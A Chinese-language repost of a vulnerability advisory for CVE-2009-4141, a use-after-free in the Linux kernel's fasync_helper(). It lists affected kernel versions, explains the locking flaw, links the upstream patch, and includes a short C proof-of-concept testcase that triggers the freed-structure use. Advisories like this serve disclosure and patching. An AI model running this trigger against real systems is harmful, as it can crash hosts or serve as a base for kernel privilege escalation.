官方首页
 计算机科学与技术
 湖畔文学
 星之传说
 蓝色湖畔桃园
 湖畔艺术
 湖畔科技
 本站留言
热门关键字:    dreamlandcn.com    蓝色湖畔
 >>相关文章
·结束进程的14种方法(RING
·Linux Kernel 'f
·cuteeditor利用方法两
·0day 搜狗输入法漏洞获取系
·从内存中加载并运行exe
·OK3W v4.7文章管理系统
·用c++写的简单的arp欺骗检
·支持serv-u 7.x的as
·支持serv-u 7.x的as
·rar.exe在提权中的妙用
 >>点击排行TOP10
·多种排序算法,多种语言讲解(前言)
·多种排序算法,多种语言讲解(简单选
·QQ空间代码 最新代码 9月最新可
·c#网络应用编程基础 第5章 Wi
·【其它欣赏】少儿不宜的设计
·c#网络应用编程基础 第5章 Wi
·多种排序算法,多种语言讲解(冒泡排
·QQ空间免费代码 小窝模式免费导航
·多种排序算法,多种语言讲解(堆排序
·VC中使用GetModuleFil
·多种排序算法,多种语言讲解(快速排
·多种排序算法,多种语言讲解(树形选
·QQ空间免费黑色皮肤背景代码,绝对
·Visual Studio 200
·如何使用EasyRecovery找
 
 当前位置:网站首页 > 计算机科学与技术 > 网页技术 > 网络安全 > 浏览正文
Linux Kernel 'fasync_helper()'本地特权提升漏洞
作者:佚名    来源:本站原创    点击数:   更新时间:2010年02月03 【字体:
影响版本:
Linux kernel 2.6.32
Linux kernel 2.6.31 5
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31 .2
Linux kernel 2.6.31 .11
Linux kernel 2.6.31 -rc7
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31 -rc6
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31 -rc3
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31 -rc1
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31
Linux kernel 2.6.30 rc6
Linux kernel 2.6.30 1
Linux kernel 2.6.30 -rc5
Linux kernel 2.6.30 -rc3
Linux kernel 2.6.30 -rc2
Linux kernel 2.6.30 -rc1
Linux kernel 2.6.30
Linux kernel 2.6.29 4
Linux kernel 2.6.29 1
Linux kernel 2.6.29 -git8
Linux kernel 2.6.29 -git14
Linux kernel 2.6.29 -git1
Linux kernel 2.6.29
Linux kernel 2.6.28 9
Linux kernel 2.6.28 8
Linux kernel 2.6.28 6
Linux kernel 2.6.28 5
Linux kernel 2.6.28 3
Linux kernel 2.6.28 2
Linux kernel 2.6.28 1
Linux kernel 2.6.28 -rc7
Linux kernel 2.6.28 -rc5
Linux kernel 2.6.28 -rc1
Linux kernel 2.6.28 -git7
Linux kernel 2.6.28
Linux kernel 2.6.33-rc4
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.32-rc8
Linux kernel 2.6.32-rc7
Linux kernel 2.6.32-rc5
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.32-rc4
Linux kernel 2.6.32-rc3
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.32-rc2
Linux kernel 2.6.32-rc1
Linux kernel 2.6.31.6
Linux kernel 2.6.31.4
Linux kernel 2.6.31.2
Linux kernel 2.6.31.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31-rc9
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31-rc8
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31-rc7
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.31-rc5-git3
Linux kernel 2.6.31-rc4
Linux kernel 2.6.31-rc2
Linux kernel 2.6.31-git11
+ Trustix Secure Enterprise Linux 2.0
+ Trustix Secure Linux 2.2
+ Trustix Secure Linux 2.1
+ Trustix Secure Linux 2.0
Linux kernel 2.6.30.5
Linux kernel 2.6.30.4
Linux kernel 2.6.30.3
Linux kernel 2.6.29-rc2-git1
Linux kernel 2.6.29-rc2
Linux kernel 2.6.29-rc1
Linux kernel 2.6.28.4
Linux kernel 2.6.28.10漏洞描述:
Bugraq ID: 37806
CVE ID:CVE-2009-4141

Linux是一款开放源代码的操作系统。
Linux内核处理锁定fasync文件描述符存在安全漏洞,允许攻击者以内核特权执行任意代码或使系统崩溃。
根据Linus分析,“问题是相同文件描述符可在多个fasync列表上,它可以在特定fasync列表上存在一次,但是文件锁定比较特殊,会使用 ’fl->fl_fasync’列表无视在什么底层设备驱动或其他的情况下增加任意文件到它所属的fasync列表中。"
这个问题是因为它不正确假定某个文件只能在一个fasync列表中,所以fasync_helper()会清除FASYNC标记。
http://lxr.linux.no/#linux+v2.6.30.4/fs/fcntl.c#L566
当文件描述符最后关闭并且文件释放时,FASYNC标记不再设置,因此它不会在fasync列表中被删除,导致会给释放的结构遗留虚指针(dangling reference)。<*参考  
http://archives.neohapsis.com/archives/fulldisclosure/2010-01/0252.html
http://secunia.com/advisories/38199/
*>
测试方法:
[www.sebug.net]
本站提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!#ifndef _GNU_SOURCE
# define _GNU_SOURCE
#endif
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <stdbool.h>
#include <fcntl.h>
#include <stdlib.h>
#include <assert.h>
#include <asm/ioctls.h>

// Testcase for locked async fd bug -- taviso 16-Dec-2009
int main(int argc, char **argv)
{
     int fd;
     pid_t child;
     unsigned flag = ~0;

     fd = open("/dev/urandom", O_RDONLY);

     // set up exclusive lock, but dont block
     flock(fd, LOCK_EX | LOCK_NB);

     // set ASYNC flag on descriptor
     ioctl(fd, FIOASYNC, &flag);

     // close the file descriptor to trigger the bug
     close(fd);

     // now exec some stuff to populate the AT_RANDOM entries, which will cause
     // the released file to be used.

     // This assumes /bin/true is an elf executable, and that this kernel
     // supports AT_RANDOM.
     do switch (child = fork()) {
             case   0: execl("/bin/true", "/bin/true", NULL);
                      abort();
             case -1: fprintf(stderr, "fork() failed, %m\n");
                      break;
             default: fprintf(stderr, ".");
                      break;
     } while (waitpid(child, NULL, 0) != -1);

     fprintf(stderr, "waitpid() failed, %m\n");
     return 1;
}
SEBUG安全建议:
厂商解决方案
用户可参考如下安全公告获得补丁信息:
http://git.kernel.org/?p=linux/kernel/git/torvalds/linux-2.6.git;a=commit;h=53281b6d34d44308372d16acb7fb5327609f68b6// sebug.net [2010-01-16]
Tags:dreamlandcn.com
Google
关于我们 | 服务指南 | 著作权与商标声明 | 法律声明 | 服务条款 | 隐私声明 | 诚征英才  | 友情链接
Powered by ACTCMS 2.0
Copyrights©2008-2009 蓝色湖畔 www.dreamlandcn.comAll Rights Reserved. 滇ICP备05000680号